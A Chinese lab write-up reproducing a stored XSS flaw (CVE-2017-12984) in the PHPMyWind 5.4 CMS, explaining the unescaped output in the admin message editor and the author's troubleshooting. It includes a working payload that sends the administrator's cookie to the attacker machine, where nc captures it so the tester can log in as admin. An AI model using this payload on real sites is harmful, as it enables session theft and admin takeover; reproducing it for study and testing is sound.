• PHPMyWind5.4存储XSS(CVE-2017-12984)


    0x0 环境

    操作机:xp   192.168.110.128

    目标:win2003    192.168.110.133

    目标cms:PHPMyWind5.4

    0x11 漏洞介绍

    允许恶意访问者在客户留言处插入XSS利用语句,执行JS代码获取cookie,从而获取网站管理员权限。漏洞存在于message_update.php文件中的content参数。

    漏洞影响版本:phpMyWind version <= 5.4

    0x12 漏洞成因

    处理客户留言内容的关键代码在message.php文件的第29行和34行

     

    先看content参数,程序会使用htmlspecialchars() 函数把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,进行过滤,然后存储至数据库中,也就是对数据的入库进行了处理,这里并没有问题。

    然后,我们再看看管理员修改留言的处理方式,代码在admin/ message_update.php文件的第26行,跟进$content参数,可以看到直接读取content内容并显示,也就是说数据的出库未进行处理造成XSS漏洞。

     

    0x2 漏洞演示

    1.操作机访问目标,首页-留言处输入xss测试代码

    <img src=# onerror=alert("hello"); >

     

    2.目标机在后台/admin登陆,打开模块扩展管理-留言模块管理,对留言修改,触发xss,证明漏洞存在

     

    3.操作机获取管理员cookie

    代码:

    <img src=x onerror=document.body.appendChild(document.createElement('img')).setAttribute('src','http://192.168.110.128:8888/?='+document.cookie); >

    通过img标签的图片报错onerror事件将document.cookie获取的Cookie信息发送至xp的8888端口上

    4.操作机监听8888端口,当管理员(win2003)修改留言时,nc收到cookie

     

    5.操作机通过得到的cookie登陆后台页面即可以管理员身份登陆

     

    0x3 修复

    升级最新版本

    0x4 问题总结

    复现时,在0x2的第4步出现问题,xp的nc监听不到信息,一开始怀疑是网络问题,数据包没发过来,或者发过来了xp的防火墙挡了,尝试从2003 ping xp,超时,关掉xp防火墙后,ping成功了,但还是监听不到cookie,于是怀疑数据包根本没发,即js没执行,一开始2003用的是ie,看不到网络请求信息,装上火狐后再打开xss的修改留言,发现xp收到了cookie,具体原因未知

    有感,xss的成功与否,还和目标使用的浏览器有关

    0x5 参考资料

    http://www.atomsec.org/%E5%AE%89%E5%85%A8/phpmywind%E5%AD%98%E5%82%A8xss%E6%BC%8F%E6%B4%9E-cve-2017-12984/

    https://www.ichunqiu.com/experiment/detail?id=60913&source=1

  • 相关阅读:
    python threading 锁的应用
    python线程threading处理任务并发一
    *,arg,*args,**kwargs的使用
    web services 接口调用
    jsonp与ajax
    无缝滚动详解
    手机端使用rem适配
    css3写的实用表单美化
    经典仿淘宝商城菜单多条件查询
    css3 flex写的移动端界面
  • 原文地址:https://www.cnblogs.com/Rain99-/p/10701769.html
Copyright © 2020-2023  润新知